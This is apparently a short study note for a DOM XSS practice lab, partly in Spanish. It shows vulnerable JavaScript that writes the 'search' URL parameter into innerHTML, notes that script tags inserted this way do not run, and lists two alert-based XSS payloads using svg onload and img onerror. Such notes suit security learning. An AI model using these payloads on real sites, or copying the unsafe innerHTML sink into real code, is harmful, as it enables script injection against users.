04 - DOM XSS in innerHTML sink using source location.search
function doSearchQuery(query) {
document.getElementById('searchMessage').innerHTML = query;
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
doSearchQuery(query);
}
<span id="searchMessage">PAYLOAD</span>
innerHTML permite la insercción de etiquetas script pero no los ejecuta
Alternativas :
<svg onload="alert('XSS')"></svg>
<img src=1 onerror=alert(1)>